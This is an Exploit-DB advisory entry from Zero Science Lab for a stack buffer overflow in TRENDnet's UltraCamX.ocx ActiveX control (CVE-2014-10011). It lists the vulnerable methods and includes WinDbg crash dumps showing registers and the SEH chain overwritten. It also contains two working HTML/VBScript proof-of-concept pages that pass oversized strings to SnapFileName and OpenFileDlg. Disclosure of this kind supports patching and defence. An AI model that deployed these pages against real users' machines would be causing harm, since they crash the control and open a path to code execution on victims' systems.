标题: TRENDnet SecurView Wireless Network Camera TV-IP422WN - 'UltraCamX.ocx' Stack Buffer Overflow (PoC) EDB-ID: 35363 CVE: 2014-10011 类型: DOS 平台: WINDOWS 发布日期: 2014-11-25 漏洞利用脚本: TRENDnet SecurView Wireless Network Camera TV-IP422WN (UltraCamX.ocx) Stack BoF


Vendor: TRENDnet
Product web page: http://www.trendnet.com
Affected version: TV-IP422WN/TV-IP422W

Summary: SecurView Wireless N Day/Night Pan/Tilt Internet Camera, a powerful
dual-codec wireless network camera with the 2-way audio function that provides
the high-quality image and on-the-spot audio via the Internet connection.

Desc: The UltraCam ActiveX Control 'UltraCamX.ocx' suffers from a stack buffer
overflow vulnerability when parsing large amount of bytes to several functions
in UltraCamLib, resulting in memory corruption overwriting severeal registers
including the SEH. An attacker can gain access to the system of the affected
node and execute arbitrary code.

-----------------------------------------------------------------------------

0:000> r
eax=41414141 ebx=100ceff4 ecx=0042df38 edx=00487900 esi=00487a1c edi=0042e9fc
eip=100203fb esp=0042d720 ebp=0042e9a8 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210212
UltraCamX!DllUnregisterServer+0xeb2b:
100203fb 8b48e0          mov     ecx,dword ptr [eax-20h] ds:002b:41414121=????????
0:000> !exchain
0042eda8: 41414141
Invalid exception stack at 41414141

-----------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5211
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5211.php


16.11.2014

---


Properties:
-----------

FileDescription  UltraCam ActiveX Control
FileVersion  1, 1, 52, 16
InternalName  UltraCamX
OriginalFileName UltraCamX.ocx
ProductName  UltraCam device ActiveX Control
ProductVersion  1, 1, 52, 16


List of members:
----------------

Interface IUltraCamX : IDispatch
Default Interface: True
Members : 62
 RemoteHost
 RemotePort
 AccountCode
 GetConfigValue
 SetConfigValue
 SetCGIAPNAME
 Password
 UserName
 fChgImageSize
 ImgWidth
 ImgHeight
 SnapFileName
 AVIRecStart
 SetImgScale
 OpenFolder
 OpenFileDlg
 TriggerStatus
 AVIRecStatus
 Event_Frame
 PlayVideo
 SetAutoScale
 Event_Signal
 WavPlay
 CGI_ParamGet
 CGI_ParamSet
 MulticastEnable
 MulticastStatus
 SetPTUserAllow


Vulnerable members of the class:
--------------------------------

CGI_ParamSet
OpenFileDlg
SnapFileName
Password
SetCGIAPNAME
AccountCode
RemoteHost


PoC(s):
-------

<html>
<object classid='clsid:E1B26101-23FB-4855-9171-F79F29CC7728' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraCamX.ocx"
prototype  = "Property Let SnapFileName As String"
memberName = "SnapFileName"
progid     = "UltraCamLib.UltraCamX"
argCount   = 1

thricer=String(8212, "A")

target.SnapFileName = thricer

</script>
</html>

--

eax=41414141 ebx=00809590 ecx=41414141 edx=031e520f esi=0080c4d4 edi=00000009
eip=1002228c esp=003befb4 ebp=003befbc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
UltraCamX!DllUnregisterServer+0x109bc:
1002228c 0fb64861        movzx   ecx,byte ptr [eax+61h]     ds:002b:414141a2=??

--


<html>
<object classid='clsid:E1B26101-23FB-4855-9171-F79F29CC7728' id='target' />
<script language='vbscript'>
targetFile = "C:\Windows\Downloaded Program Files\UltraCamX.ocx"
prototype  = "Function OpenFileDlg ( ByVal sFilter As String ) As String"
memberName = "OpenFileDlg"
progid     = "UltraCamLib.UltraCamX"
argCount   = 1

thricer=String(2068, "A")

target.OpenFileDlg thricer

</script>
</html>

--

0:000> r
eax=41414141 ebx=100ceff4 ecx=0042df38 edx=00487900 esi=00487a1c edi=0042e9fc
eip=100203fb esp=0042d720 ebp=0042e9a8 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210212
UltraCamX!DllUnregisterServer+0xeb2b:
100203fb 8b48e0          mov     ecx,dword ptr [eax-20h] ds:002b:41414121=????????
0:000> !exchain
0042eda8: 41414141
Invalid exception stack at 41414141

-- URL: https://www.exploit-db.com/exploits/35363